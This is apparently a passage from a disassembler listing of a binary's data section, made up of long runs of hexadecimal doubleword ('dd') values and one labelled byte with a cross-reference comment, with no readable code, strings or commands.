329C25B1h, 8E0F80EFh, 0CDF892BDh dd 7F6677D2h, 364001Ah, 0B5A2BC93h, 753C08D6h, 85ACD80h dd 2CED9h, 4A145F0Bh, 4D015C0Dh, 6A2953EFh, 58229C80h dd 924F4000h, 3D0E16A0h, 1E13F91Fh, 0CD3E2CC0h, 0F3066Eh dd 773BB2B6h, 0ACA9B59Ah, 6539C000h, 0A54523AEh, 0DA5900C6h dd 0DD5F546Ah, 0B6EA296Dh, 8CFD7807h, 0BF90415Ah, 428538h dd 6FC451C1h, 899A9C0Ch, 7FB72715h, 5BD8C0ABh, 3E1ABEBh dd 87E975D0h, 82EC1F17h, 8B7239D0h, 0B94F6F62h, 0A9597781h dd 0FC685E76h, 2BEA4E8Fh, 0A6680CA8h, 0F33C2F53h, 0A0EAC6E1h dd 7CB8501Fh, 0C03001Ch, 59354840h, 65007E0Fh, 508E8C1h dd 0E9B0233Bh, 1387AC3Bh, 6B0F7A79h, 7F70A5Fh, 0F6685803h dd 0B6EE842Fh, 575A17A4h, 55DEEEC0h, 8F4C0E66h, 0BDCA0842h dd 0F2F92009h, 948B605Dh, 81E68956h, 86AC651h, 86C68706h dd 1F08FF5Ch, 83C4835Fh, 0FBD8E8E9h, 2F82F9D8h, 93F0E205h dd 20A2BCD3h, 0A4DBB804h, 99B4EE19h, 0D07A1C66h, 0CE994032h dd 3EAA253Ch, 4200CAE6h, 90C77CB1h, 0EE12D22h, 1E7D64CFh dd 566059EEh, 8F661185h, 45EAF400h, 15FA55D3h, 27AA0078h dd 17AC0D3Ah, 0AF01EF64h, 0BAD4AA1h, 6AD461FCh, 12400D5h dd 0DC4426D6h, 7570FF40h, 6DA14D07h, 18D0F7CEh, 0F6C82Bh dd 0AEB26811h, 5ADEAF5Fh, 9F791F00h, 0BABE7A57h, 0F813070Fh dd 156EF4Bh, 6A418021h, 0D989922Ah, 855CA47Dh, 90DCD3BBh dd 88FEBBD0h, 5C60F99Ch, 187425Eh, 1F36B40h, 3E688BABh dd 9E90BCB0h, 603FDC6Ch, 0F0DF00A2h, 0C21EB576h, 8D290815h dd 91D06F1h, 5D33B18Bh, 6C614999h, 0AFB0922Fh, 854750C7h dd 0F7A75075h, 84DA9DF9h, 1044FDF4h, 0BABF4BB7h, 0FF003D7Ah dd 0EBCC906Bh, 852F295Dh, 0BFB5F2B1h, 8D2FFFF3h, 0EF3C0A2Fh dd 8F68D84Fh, 80E5B7h, 2908D241h, 0F395BE32h, 0C1CDA5D4h dd 2A604743h, 0BE7BD94h, 17C98D8Bh, 68D1D969h, 67421611h dd 5F8972A2h, 1CD8EED3h, 26A2F40h, 5D69AA56h, 727EAC0Bh dd 0D4C8432Dh, 75BD2941h, 0EA9B7B16h, 83C017C8h, 0B9C19F3h dd 1E95F56h, 7FC21E51h, 8D0F03A7h, 0E273EEA4h, 0FFB48886h dd 5A9B0054h, 52662108h, 89153B79h, 2DA3298Dh, 0F65AC65Bh dd 0A2615595h, 0B940743Fh, 0FABFA82Dh, 0DD6EC59Ah, 0B798AF1Dh dd 16F572BEh, 4B37DCh, 0EF2D6497h, 8D04A54Dh, 50A8750Bh dd 4CF09EEh, 80CB37F7h, 2ECA724Ch, 0BC276912h, 306E115h dd 0BC9BAE05h, 4F301B89h, 0B203B0CCh, 0E3207BCDh, 0EDEA10E2h dd 9D1B5018h, 648E265Ah, 0A2ABB64Bh, 2D5A781Fh, 684CFE8Ah dd 80A178EFh, 37877FB4h, 4C2F0B0Ch, 9A007C2Eh, 33EDB5FFh dd 1DABD97h, 0EEB5465Eh, 34616A91h, 0B0020117h, 2C966ADCh dd 8D8E6FF8h, 0DEBF8110h, 233E71E4h, 6BD81538h, 583ED680h dd 0C637806Ah, 16424733h, 0A86305FCh, 0A9E30EEEh, 5AE12246h dd 0B3FFA0F8h, 7C0E7925h, 698494C4h, 64DF8005h, 0EC8CBBBAh dd 211D41C9h, 6A01E176h, 0FDB55B21h, 0BD3118FAh, 0AD280D21h dd 0A150C110h, 0B5683Ah dd 0AC6B7BCEh, 14EAE01h, 9454FA3Ah, 61D85131h, 7D85D480h dd 0D1690364h, 906D90CCh, 1FE2124Ch, 8403FD18h, 0E9B819C1h dd 7E5FF193h, 0B001888Dh, 246A0911h, 0C529C265h, 7627305Eh dd 96FCE924h, 5D3A050Bh, 0BD33C190h, 816FD21h, 484F1169h dd 7ABF7821h, 6B35201Fh, 2F1AA594h, 19764CFEh, 4F24B19Dh dd 23664395h, 4FCB724Fh, 4A20C710h, 2044DC8h, 40F11B9Fh dd 5440F635h, 749DDA8Ah, 3095D453h, 8F3375h, 0FAEC5DD6h dd 7FCB916h, 74805AB3h, 0CED81118h, 270BB5F3h, 2D1000D6h dd 0E4BEB077h, 2B2B810Dh, 0DA03B96Fh, 0D590CAF4h, 2ABB78E8h dd 14E29E17h, 61EB5001h, 0A36CD22Bh, 1A21F480h, 7901785Fh dd 0D1CBABC1h, 6D6A299Ch, 0C0EC5A32h, 2CDB2E45h, 0EDF84E06h dd 8C1DA8D5h, 0CF8F0200h, 0AC06FC8Bh, 25572452h, 77109BEh dd 29618990h, 69CFF197h, 7B898835h, 0C1B882AEh, 0F7F2290Fh dd 7829DB9Fh, 383B8FB5h, 51E1092Eh, 0A16A02A8h, 14C7772Dh dd 97FDF845h, 0D54E1EB8h, 952FAFECh, 13FC2BE4h, 5F2A1CB5h dd 0B036B796h, 122884Ch, 4B9CEBCDh, 20373583h, 715B1F42h dd 0B99226E3h, 4AC6B872h, 88968801h, 0FF377000h, 73757CF1h dd 366B0315h, 0E3E68226h, 754E1E2h, 322D1CDCh, 0B135C17Ah dd 2B27AC71h, 404D95E0h, 0BF166602h, 53A25B3Dh, 0EE037984h dd 0A8149DEh, 2BFA9F1Dh, 4BDAB3E2h, 1FB1AA02h, 21512CD4h dd 0D4F75D2h, 0B3328A40h, 0C8604E05h, 1E017B47h, 673CD488h dd 0C13EDD96h, 2F2B03BAh, 0F4DFB301h, 0E82611Ch, 0BB3D98Ch dd 1E301AD4h, 9FFCEDD3h, 116F5A2h, 87EB6082h, 916935DDh dd 104D8216h, 0D1A3602Fh, 0F67C820Ch, 50FB53EBh, 0A30374C2h dd 9AA47139h, 0F7C80973h, 0F9605CB7h, 504B29D7h, 372E66Fh dd 55F054A6h, 0A8B19ED3h, 9E5E283Bh, 7910C780h, 7D2A969h dd 3034CAE0h, 5B3A8038h, 76C912EBh, 44E85D23h, 0AB125868h dd 2AAADC7h, 5B4876BEh, 0A77E2D78h, 29525707h, 7E890195h dd 1546DE1Fh, 8BBDB60Eh, 89E4A452h, 0F9A673B5h, 7DB83097h dd 95E90540h, 0FB968C56h, 285018A3h, 4FE1E60Ch, 6FF8CD40h dd 92AC483h, 1A058D8Fh, 0E2A5F6FBh, 60ED7CBCh, 4B9BD0Bh dd 89FE2BC4h, 0FD160BBDh, 0FB6BAF7Ch, 2E002457h, 0D60DE9D3h dd 795FFE43h, 80C591B8h, 2BC2EEF3h, 25B17EFBh, 67019260h dd 0D9B0318Bh, 0C6CFDB90h, 55697D7Eh, 86603DCDh, 168EE10h dd 1B393D2Eh, 8B028F0Fh, 40F88A23h, 7F3ED164h, 78D5B326h dd 4A0532DDh, 5C433CD0h, 8DDA0BFBh, 1D512B5Bh, 55006418h dd 0E5154D5Fh, 5FB018ADh, 50F34Eh, 42971A69h, 7F8950C6h dd 32C10037h, 92438A06h, 0D87D8B90h, 46F63BE9h, 0CFA270B4h dd 859DE484h, 3BC78086h, 42B9615Fh, 852107E9h, 3D3F2ED9h dd 799B2F53h, 7700EB92h, 28807D4Eh, 0A0469D33h, 6469949Dh dd 0AB533D20h, 2813C8h, 0AA8EF9DCh, 5FBB7CCFh, 0C837514Fh dd 615C7C89h, 0EF260BFh, 0EDBDF5BCh, 0E913C05Eh, 3C026F4Dh dd 9B1CFEBFh, 50497E7Ch, 7FE10444h, 0F6F0F9E6h, 2126A1FBh dd 0FD154ABDh, 4F11A3D9h, 1B86E67h, 8693F545h, 0EE70B97Fh dd 9B2B4E15h, 0C91AC887h, 0CD0E6D5h, 25C5BD2Bh, 954E315Ch dd 0D82E31B5h, 737EBBA8h, 9D031F8Ch, 0D376A779h, 0E5C531E7h dd 6F4231AFh, 0DE45CD59h, 5283EAB7h, 0B85C8B6Fh, 2749BD09h dd 2E61514h, 0B7A24500h, 6AA5D88Eh, 0D96C15BCh, 808294AAh dd 277E25D7h, 9D895661h, 5B36922Ah, 46D6AE7Eh, 0F3C90218h dd 7F018C7Fh, 0EB81BA18h, 83A8D60Eh, 98C7C026h, 9F7322AEh dd 3D5751ABh, 0AD7F007Bh, 85D5D31Ah, 0A2E58812h, 958042E8h dd 534581E3h, 3572B913h, 0A464802h, 666B7E74h, 0AC259266h dd 7EAE9A4Eh, 0C890872h, 203F4A24h, 0C2614F23h, 1C7EF844h dd 0C0106D2Fh, 97BE7E8Ch, 1B13C617h, 5D096987h, 1812EBBBh dd 2DBB03E9h, 4CDA3BEBh, 0AA688081h, 0F5FA4119h, 0DD8A0122h dd 0FE255879h, 46D66476h, 2BEA1615h, 1AAC73ADh, 16B1078Ch dd 0B8F8D61h, 115AE0F8h, 238B37EDh, 0AE07D184h, 1AC8BFDBh dd 3B8D40CEh, 4FF59958h, 0FF34C5BFh, 1E808ADEh, 33522AC0h dd 0D65BD10h, 27A1FE50h, 28E51F9Dh, 73E74113h, 4DC8DCB0h dd 901AD800h, 4BB70585h, 0D43FEB31h, 6E5C8003h, 57E8967Ah dd 7CB2B00h, 0CCB35650h, 6F20F75Bh, 0F6345B29h, 301DF28Eh dd 5900A511h, 0E5202D67h, 0C443608Ah, 0EE0D1382h, 19C887DAh dd 909DCAC0h, 0DBA3258Eh, 5A29AE76h, 53632756h, 14C71E6h dd 0F12F258Ah, 0AF7DC4C5h, 0EB4ED87Bh, 5D4C465Ah, 0C70074E5h dd 99A46EDCh, 8CA31359h, 8240FEE5h, 16B7BA17h, 8A2C181Fh dd 5BDAFE56h, 0EF03EC97h, 1285B36Ah, 37ADC6D9h, 0CEDDECE9h dd 3E51E2Fh, 0BAE9121Dh, 0DF675708h, 95D617A6h, 8B027EF9h dd 5F32E9D9h, 0DD4D0D89h, 22B53C2h, 54F22835h, 0B25F8B0h dd 7C926A69h, 8C39F4F8h, 0C48300A1h, 6E1BA6E3h, 0B4604869h dd 5A251D10h, 0B87C23B6h, 58199AECh, 0DA392890h, 1DB5BA85h dd 0E703BBD2h, 0FDF4B750h, 0F17786Bh, 21560587h, 816C0018h dd 6219BBDBh, 7B975178h, 0DC0A7A48h, 2022162Bh, 19B6D249h dd 5EDE819Ch, 0C17FE923h, 0DEB1C8Ch, 9BF6FCh, 3C8384CCh dd 0CE08C104h, 2FE52320h, 26C3F49Ah, 0B908AD94h, 0E9CAC3Bh dd 17E18509h, 0F0AAB494h, 0FBB76AA1h, 6ADA783Ch, 95F27B5Bh dd 0BF29CF00h, 5FBA6FDBh, 1B2D581Dh, 4A787A80h, 0ED2FAA6Eh dd 0D31AB63Ch, 568274E6h, 0B95F20D5h, 12218978h, 0DA4A3778h dd 0C01CC805h, 3977ABCDh, 0D0C1D01h, 0D1FFC5DBh, 0F7B88039h dd 0C20035F6h, 0F5600CFAh, 12290940h, 0FC2EFD9Dh, 82E9E497h dd 0A6F07156h, 0DE5E8B2Fh, 4A6AB0F0h, 0E003B602h, 7F864EE2h dd 8B182FCCh, 324A8CD6h, 0F257253Ch, 2FB7BFE8h, 2402802h dd 20EE8022h, 0B04EB5F3h, 0ECEE2579h, 0C14F6F56h, 59BF37B0h dd 2E25E3C4h, 0CD954311h, 10AD998h, 382EC4E9h, 0C490DC5Dh dd 0EB386D9Dh, 6A31E55Eh, 0A62F26C9h, 95BF0085h, 177D8FA0h dd 8DED4B6Eh, 2A900963h, 0FB92B7DBh, 374018D4h, 976D0DB6h dd 0F446126Fh, 252BE656h, 6D905F60h, 614BCE8Bh, 1988069Bh dd 801EC4h, 25907F67h, 0BA208D89h, 0BD295250h, 5F8B2D54h dd 168C5B4Bh, 6CCF2F80h, 689DD974h, 0FE2F3BAEh, 0CD7C2F77h dd 398BE16Fh, 622B09F0h, 812025F8h, 1C6505D7h, 1B009CDh dd 0E870E6F5h, 7187100Eh, 0D4972Ah, 1A015058h, 0A533898Dh dd 12B64377h, 0B4E25292h, 2B88F0F7h, 1725319Dh, 21C8B6A3h dd 0EF212AA2h, 0A02E5F53h, 0D1BD2AF5h, 250588C3h, 7D090126h dd 9F1591Eh, 0ED58FAB3h, 597C91B0h, 97C82B80h, 48B5306h dd 0FCC8D14Ah, 86E27Bh, 6EAB5E97h, 99191639h, 0ED4C0400h dd 2BD2E2F1h, 0B8E95E7Ch, 56F7C23Ah, 8D6BE05Ah, 3F60810Ch dd 0BDC20FB8h, 5F4E11B9h, 4282AA00h, 0BAF0A43h, 80614B4Fh dd 0F05BB04h, 103FEC36h, 77838262h, 4C99914Eh, 13D3D880h dd 483E36h, 6E6199DCh, 37349FD7h, 2AC89310h, 5F018B02h dd 2BD13AE9h, 5723CD09h, 0D89D5864h, 52D395B4h, 57122191h dd 6620FA31h, 0A0A5835Fh, 4A80FE1Dh, 9550E4D7h, 10D284A4h dd 471106B6h, 4560402Ah, 361FA000h, 21C78AA2h, 9D1007EBh dd 2233B6Eh, 1840AC0Fh, 41B2886Ah, 30BAD94Bh, 2F398D77h dd 0AA42B980h, 0B5E818AFh dd 0E57500A6h, 6A1F64CDh, 6300270Eh, 3BAF3A65h, 645AD6B2h dd 0B8FCEE05h, 0B8819F13h, 4237DD80h, 0B13F61F2h, 0C7B05DFAh dd 912D9529h, 4BC5D913h, 0D54931EDh, 4855885h, 0FADB2BCBh dd 3D2B568Dh, 29A77103h, 0EFB879h, 0D6706143h, 11369C88h dd 72E98E5Eh, 55C67A9h, 0AF5D6B2Ah, 0FB53D71Dh, 0F8D94ECDh dd 0DE61202Ah, 9905E45Dh, 0AA83CA19h, 0C08221ABh, 71B0C4E1h dd 5F059D00h, 0FA0140BDh, 50D4F2C9h, 380490F7h, 8DCB5BB2h dd 25748903h, 5ADE5903h, 4D9FE4D8h, 34ACC033h, 2A04F542h dd 0C51D4835h, 7CA2D9ACh, 0C380915Bh, 0EED2B7C6h, 8C4400B0h dd 108220D4h, 9C02F96Ah, 0A4533AB1h, 4C2E462Ch, 192A1A60h dd 0DD614A9Fh, 0A9C63DD1h, 6EFA8E84h, 4A72F81Ah, 0E69317E9h dd 6217A2C0h, 484464Bh, 9E1166EEh, 0A1BFAC14h, 7A3B0478h dd 0EB1117BDh, 0CCA45200h, 9BF3A5Fh, 6F1DF8E4h, 5E46C859h dd 2542906Bh, 0F6F124A5h, 232778CFh, 0B31D5B9Dh, 0C0F64EDDh dd 0E45E72A2h, 0B0133540h, 0CC660073h, 39826B61h, 11A864F2h dd 0A6131B5Eh, 0E8B87FC3h, 0D558AAC9h, 5483E295h, 6DBF01D6h dd 934217Bh, 7E75A13Eh, 0FAF0D5F6h, 0E828172Ch, 81000B13h dd 4F505C3Bh, 75637014h, 0CA80007Ch, 82B7F6D4h, 609F328Dh dd 4AE859A2h, 0BBC08C5Bh, 250EF03Ch, 0BEEF6E7Ch, 562FD426h dd 4AB70AEh, 738EE0B6h, 0FA6EC3E4h, 90FF0613h, 32BB1F16h dd 66F5470Fh, 5413EE0h, 0F6906D93h, 0E8F2E31Dh, 74BE742Fh dd 0BAC197CDh, 5F5678D9h, 0A8A07CE7h, 9D707A02h, 0EBE03919h dd 7EA3D56h, 90DDC531h, 0CCAF68B4h, 0FF106928h, 0FA80F94Ah dd 0F576CF50h, 16800D78h, 6E7338FAh, 2EB3138h, 4341A007h dd 0A2CE5593h, 0CE1CF125h, 5F317603h, 12F3B9C1h, 499E0226h dd 0D6F5C680h, 8C4B937Bh, 16B21EF6h, 4BEC2630h, 601E8C55h dd 8D295104h, 0A4FB1615h, 11259EDBh, 0E620C661h, 436F12E9h dd 322E347h, 74A8E781h, 5789BAFBh, 0C0E05ECDh, 1C08C5F2h dd 87B5E292h, 5B03602Eh, 0B2A62157h, 0B741619Bh, 0CA6E018Dh dd 0BCF93DECh, 13B4CA95h, 0AB464A89h, 1D00FE6Eh, 0DA6FDFAh dd 502D96DDh, 7082F452h, 3205771Eh, 310FDEACh, 0B04B8FB8h dd 1044E951h, 5C1400FBh, 0BA0F17Bh, 630071FEh, 99C4614Fh dd 0B496DF39h, 4105DC8Bh, 1A606B2Fh, 35E7B8Ch, 9E573523h dd 0C8E8E002h, 1300922Bh, 0B2FD6E27h, 5A268658h, 8363C8D2h dd 469B2000h, 0F4AD0928h, 2A387777h, 61797Fh, 1462E89Fh dd 4A988565h, 0E5C70E00h, 57FA8F07h, 8D5F4B3Dh, 0A7F02FCCh dd 812A40D5h, 0BCDFE304h, 268076C3h, 95024D9Dh, 60C129D9h dd 902B8DB4h, 8B754595h, 8A57FBC5h, 5FC263B1h, 635A19B1h dd 1E5558C3h, 4D673B61h, 6E34C0A4h, 0B53F296Ch, 82F7CB35h dd 7193093Bh, 0F209D71Eh, 35FF506Eh, 801A11F8h, 97D33C40h dd 0D8F22785h, 0F01D7E4h, 0FF21935Eh, 383613BBh, 0EC3DC04Fh dd 7C9D6190h, 0B65949D0h, 0D4EAF6E9h, 0F94AF4FEh, 3338D2CAh dd 0EEC8759h, 8555612Eh, 0CB33A509h, 1A235078h, 0A5E8BF9Dh dd 614BC38Ah, 5EBA0FF3h, 0C501506Ah, 14A87921h, 0A4DF026Bh dd 7ABA2F8Ch, 0B34803C0h, 0EDFA8AD7h, 2D628Ch, 0E065C12Bh dd 0CDA93A67h, 0FA773FEAh, 4FF51497h, 0E07AFF7Eh, 634EC904h dd 341D8E02h, 0A6AF5A51h, 4D73E793h, 60FD8AA8h, 0BD1CE5FFh dd 125CB779h, 8A03D31h, 74A5553Dh, 1984CF5Dh, 25802827h dd 0E3C6ADD3h, 5DCF2BCh, 78B83723h, 0FC20AE38h, 3F155C6Eh dd 6A85857Eh, 0B29603AAh, 0FD69000Eh, 27B4CE93h, 0FB73CF9h dd 40B7F85Fh, 53006020h, 7270BA5Eh, 6261277Fh, 0D1DC896h dd 17C9A94h, 220A092Fh, 5F047976h, 907524BAh, 0B460C4Bh dd 5BB604DBh, 46D6157Eh, 57D60919h, 0DB89DF89h, 58A4EF5Bh dd 974DE0D6h, 7C5BD609h, 4404CD8h, 0F850E6C6h, 58A5E35Bh dd 2EAD16EBh, 0A996ABF9h, 723DA973h, 530CBBD3h, 5650652Dh dd 0FAB42C20h, 0C85E78B6h, 0D500CFC4h, 9B78E1D9h, 41CDB3Eh dd 9AB839E8h, 6274BFAFh, 0C4A829ADh, 0C09EA500h, 58F021AAh dd 0DD0E5834h, 0F6488012h, 301AB244h, 5706B599h, 0E56F4C1Eh dd 0D88B2544h, 5470F1h, 0CA9C5C27h, 9ED13D28h, 0E9B95475h dd 0B1F8B81h, 0BB78635Fh, 5C6300D6h, 5039CB2Ah, 0F2A2605Ah dd 2256FB00h, 8F1F35Bh, 283F1E02h, 0D5927C58h, 66FE8A44h dd 742D4FBCh, 0BFDF458Dh, 17232D6Bh, 8C3A7002h, 0F48275F2h dd 4A5EB894h, 45207169h, 2B7BAA57h, 56B66A01h, 30A8E2B7h dd 2D41512Ah, 152C9071h, 1F562E80h, 0D970F26Ch, 41D02509h dd 0D6A37593h, 0C02F5B7h, 0BAC6FCBBh, 0DD6A5D28h, 2704DD7Eh dd 1FEA9655h, 0C1FBAD08h, 0FE181B79h, 728ADF00h, 92B23FE8h dd 0A7BAB1F5h, 718B8975h, 5F03543Ah, 31D63B53h, 95A1063h dd 0DFEF4827h, 0F2E07FFh, 30035E6Ah, 0B7DC4F94h, 0AE52E136h dd 0B4A3F1E7h, 4B1D5430h, 0D2C6F234h, 3FA908F9h, 885B75F3h dd 507FB34h, 58555F6Dh, 0CD2A3DE0h, 29CB0963h, 84795383h dd 10542444h, 0A044C4C0h, 303AC064h, 0F22578D4h, 450E601h dd 2B7943BBh, 7F4CBC05h, 3792C9FCh, 0B32B1E97h, 0BE6E582Bh dd 601E072Fh, 80134540h, 0E0971CE9h, 0E8F781A3h, 7DBC2DA7h dd 8F423EF8h, 5BD290Eh, 9D090510h, 70BF2545h, 0E62ABB44h dd 5053E813h, 0A6800EF9h, 5C6B190h, 4694A02h, 5821A31Ch dd 0ED5F5B6Ah, 0E0A9978Eh, 6500CEB8h, 0DD4A71A7h, 0BF6EB309h dd 0E04EE1CFh, 0DCBB2A5Bh, 0E3742782h, 722D4356h, 0C8F39578h dd 0DD67F97Bh, 0C6359841h, 9DBC802Bh, 0E4B72C75h, 90FC2E88h dd 228B1C70h, 0A81230F1h, 0DE6A2A25h, 1900DE39h, 0BF58317Dh dd 4CA096F0h, 0D1C50706h, 0BB6C0222h, 0DB624969h, 5B69BB56h dd 0BF35A7B5h, 3209D30Fh, 17913A04h, 6296BF00h, 0FF2D4258h dd 1CD9B7D1h, 0F8B500C9h, 0ADA26B41h, 2FD641B7h, 42B8382Eh dd 4D046BFh, 0B589026Ah, 4033BCB9h, 84583BAh, 25CFB62Eh dd 420DFEFEh, 0BA5528A9h, 4671C8h, 0F6EBEFDBh, 0C48649Ch dd 7B9B3B86h, 2D126A07h, 2660581Dh, 4B81E95Dh, 10638B0Fh dd 15F8C63Fh, 0B2A4018Ch, 21BD0160h, 3CC87F08h, 2E618111h dd 0DD04E36Eh, 8473E778h, 14D5FB83h, 23256BBEh, 0BA490118h dd 3A6A66E9h, 0BF00F7F3h, 377A1068h, 0A0958531h, 25DB8103h dd 731E01ADh, 0DF59BB90h, 0D850E530h, 953E16A4h, 0FA8B1251h dd 23976EBBh, 0AD311215h, 0FFF8C9B0h, 33B053C6h, 0FB6A0740h dd 0DCF03236h, 0A33E70D4h, 76F71615h, 23E18C04h, 0BC5A9CB9h dd 0FB43A04Bh, 5028FCBCh, 458C388h, 0FC4D2463h, 88AAB960h dd 1E74A75Bh, 41D38100h, 25270474h, 0CE5070E6h, 0A46B3041h dd 0A46114Ah, 92973A22h, 0D790D7E3h, 7300A2A9h, 8EC9E158h dd 12A440FAh, 0E1C52FFBh, 0F5AC41A7h, 0B63B18h, 4CABA84Ah dd 2562D2Bh, 0C1A3198h, 2740A190h, 0ECD29D61h, 0DDAD46C9h dd 800FEC18h, 604F1E64h, 8980E7A8h, 0E47CCAB8h, 1F68DE3Eh dd 78F0A395h, 5E3D31C8h, 2966E65Bh, 4280AEE9h, 38A53658h dd 153D0104h, 0EA26CE95h, 2FF8D78Eh, 2B052143h, 0FE8A60C8h dd 0DC12CC0Bh, 2F9E0E9h, 0B2074161h, 367B4BB4h, 95AB3B11h dd 90D18BECh, 29C14418h, 21546DF6h, 43D387D4h, 0DADE9430h dd 51F7002Ch, 0F94CB0E6h, 0D1A2CC9Eh, 5B77157Ah, 9539E49Fh dd 0D14DF490h, 0DC9C0E0Fh dd 0BF1760ADh db 6Eh, 0FEh, 0F7h byte_544547 db 5Bh ; DATA XREF: ___:off_445248o dd 105BF223h, 0F9C90C75h, 0E44F772h, 0A5BB0052h, 5F327109h dd 829937E9h, 0FF8D1AB9h, 29D90E03h, 11E17310h, 322B4D20h dd 8CA51F17h, 629D441Bh, 95893951h, 1BB75E82h, 4C1E05Ch dd 2E371943h, 0AAA401A0h, 9096FD25h, 0C2845Bh, 27654EF3h dd 6C14CB40h, 1169107h, 4A0278F0h, 2680E086h, 6B2A1AE0h dd 0B8537C5Fh, 9D0270h, 0A2D60AD8h, 0D1DDE2EAh, 0FE07DE97h dd 4FBBDB02h, 507CA349h, 6B15417Ch, 91476F3h, 0B984CDBDh dd 60929243h, 333818F7h, 1A552F95h, 8982217Bh, 421E98Dh dd 5956BC61h, 2794BC75h, 1E44541Bh, 0FCB0B600h, 0A86DC4F5h dd 0F22900C8h, 440122F4h, 374C200Fh, 0AC18C073h, 2FD1FCh dd 7CA7DA7Bh, 6EAAD7D3h, 6F5BCA2Ch, 28135988h, 22532ADh dd 7FFFCB3h, 6F09B89Ch, 0DAB460FBh, 7120AE3Ah, 9502FEB3h dd 0BC7C2E76h, 0AFE0E3AEh, 301C99F1h, 42134EC7h, 0AF3069B6h dd 9B9D15Eh, 0ED057B10h, 1719C5FFh, 0FC06A959h, 39058C14h dd 25699531h, 4A1B8AAFh, 0EF8F449Ah, 0FFF5D980h, 0D609B92Fh dd 0A9B59D23h, 0D681FE02h, 0E94E1846h, 904D2F19h, 41B5617h dd 252F5B3Eh, 0D674AEE5h, 0AAA52DE6h, 5F2081A1h, 9B8B95A1h dd 6868975Dh, 2B856069h, 795AEFD9h, 0EBE094B6h, 464EF5B6h dd 9C2D0C8Ah, 7F8409BDh, 80F828CCh, 5A1CC910h, 0CA7A90A1h dd 4EB8386Dh, 15EC84ADh, 65194A00h, 9A8B2D48h, 20EE90B0h dd 3762585h, 9774FABDh, 0AD7B4CBAh, 74082050h, 5E0E14E7h dd 7131F25Ch, 60E1FF69h, 3BE765CBh, 7F8845E3h, 4940CF61h dd 9888220Bh, 27C1278Dh, 3F110947h, 8ABB6602h, 0CCDE601Ah dd 0FC8E5ADCh, 0C8F604D3h, 0ECBC1B14h, 0DDE31C79h, 122A1232h dd 0BB8D16C0h, 89E63C64h, 0B99AAAA0h, 8D4E4B13h, 4A2F11A4h dd 0E8EAAD01h, 44C7B86Ch, 0F4A1600Eh, 0D509C22Dh, 0DB9D34C4h dd 18197134h, 0D93204F2h, 870E5FC0h, 0A8FCBB69h, 92F8142h dd 0C898DB2h, 76A7FF5Eh, 1646D64Dh, 5074C05Ah, 219C1AB7h dd 79950902h, 812A8006h, 2559B8C7h, 0EC57D8Ah, 0CE45112Fh dd 6BBCF57Eh, 50D9D8B1h, 606FF62Bh, 7FB46081h, 7C68A0E8h dd 0CCC80FD5h, 0D0778483h, 17FF6DAAh, 5ADC00Eh, 68A9212Fh dd 0B9455B5Ah, 3EE84E44h, 0F9E860C9h, 0FF899758h, 130B94DDh dd 853EE9FCh, 316F96h, 542FE4FBh, 1789438Bh, 0A92351B5h dd 0CF8D218h, 0A15B05D3h, 0DFDBEE2Ah, 98C470D2h, 2AE5160Bh dd 85CBEEC0h, 0FF8997D1h, 8E27BD5Dh, 3C689D0Fh, 0DCF2C160h dd 0D5240BABh, 0FC01CFA0h, 7AB22064h, 268135A0h, 9AFED72h dd 3ADF189Dh, 0F790F72Bh, 903EE1C1h, 0DFB68022h, 702072B2h dd 4386001Fh, 73FB18AEh, 71903AC3h, 5B4BD567h, 0E0896D7Bh dd 7DEBD25h, 4DBDFE77h, 60196437h, 13BBFB20h, 0C129052Fh dd 2F0446ACh, 0BF80D79Bh, 6DB52927h, 5CD92A44h, 35C0A996h dd 10568921h, 0C11E48h, 59850C15h, 1684B307h, 0C08A16F8h dd 8214BF53h, 0F1D770Bh, 3B1AD531h, 0B79966D7h, 5D74AE2h dd 74EA0B7Fh, 7A01BA4Ah, 0FEB38EBEh, 50C0E622h, 0B5A535BFh dd 0D18B1A35h, 8F8E65Dh, 8105880Fh, 4CF77BBFh, 4E5D2277h dd 0CBA7C8h, 9A6503BAh, 2240884Ah, 0E7641507h, 8F937B3Fh dd 5BCF8887h, 434AB458h, 0AF808368h, 0E000C321h, 0BC4EB95h dd 29F9982h, 4062446h, 0FC5E7A73h, 0EFC78061h, 55808F47h dd 4B135C47h, 0ECF2FD5Fh, 0F7B50039h, 66BD3660h, 0FA5ED0BFh dd 14B249A6h, 33015F32h, 3B61562Ah, 0B502296Eh, 0B926EFA0h dd 0F37A2674h, 0B7E9508Bh, 0B271FF14h, 78BB09F2h, 451079B4h dd 3D13F739h, 368B002Dh, 9B08E486h, 459F25EEh, 0D3940B5Dh dd 915678C7h, 0B355858h, 5FE1E9C1h, 0ECFAA435h, 0BA1C0460h dd 0AF23BDCEh, 0F62E65F5h, 0D3D7E040h, 0DFAE0080h, 98BB487Ah dd 464EE60Ah, 3122228Ah, 0CB80F90Ah, 2059F62Bh, 11D523A5h dd 202FE84Ah, 0CF593D61h, 0F7ADB53Dh, 8FB0F14Ah, 2A5B8110h dd 6BA0E3CAh, 390BD00Dh, 0E6CBFB10h, 18849FEBh, 0C005E904h dd 1B4319BFh, 0EFC462Ch, 72418529h, 56C4EBBDh, 138BAC5Bh dd 0DF2DA8Bh, 0E6800588h, 3F103D61h, 89570596h, 710CF9BDh dd 6C810F74h, 5934A081h, 1D9900B0h, 0B4F653ACh, 9E173D6Fh dd 6BBE7BE8h, 51E575Ch, 3B3EFBB5h, 4DC404BBh, 7F1131Ah dd 6FAB8014h, 3A18057Bh, 5EC38CE4h, 0A2ABF4F1h, 6F6A97C3h dd 0F9ED047Dh, 0E8C81D9Dh, 4EB74F06h, 3CEF25B1h, 71125EA8h dd 236D6BFBh, 8F80381Ch, 5B0E96E6h, 3809289Fh, 0DF1BDF80h dd 0D7814F20h, 0B9D7A0Dh, 71C8FB04h, 0EA302FF3h, 9FC19D0Bh dd 86276B72h, 0F69B56B8h, 2022DFEh, 0F3C8B28Dh, 0FDFEC057h dd 815B801Ch, 9A95E73Ch, 0B76017D1h, 0B42980CDh, 0B952A6F8h dd 0F49FD377h, 0F871AFEAh, 0A3A50300h, 2CFD78h, 61F2E4E0h dd 295B191h, 99BCE54Fh, 0FF54A44Bh, 0F099B523h, 73124361h dd 704630Bh, 9D4E251Dh, 7E532BA9h, 0BB088992h, 0FC912219h dd 7A508908h, 16E54688h, 0B0786617h, 1B05B7C4h, 600B8CA9h dd 0A42F55CDh, 0BD001798h, 0AE039548h, 1B445D8h, 0D4024A34h dd 289ADF8Eh, 90EA96ABh, 1A4263D1h, 357FB200h, 0C154BD0Bh dd 3B2D16F8h, 6024EF38h, 2EC2A1DBh, 0E5C0D002h, 0B1AC2761h dd 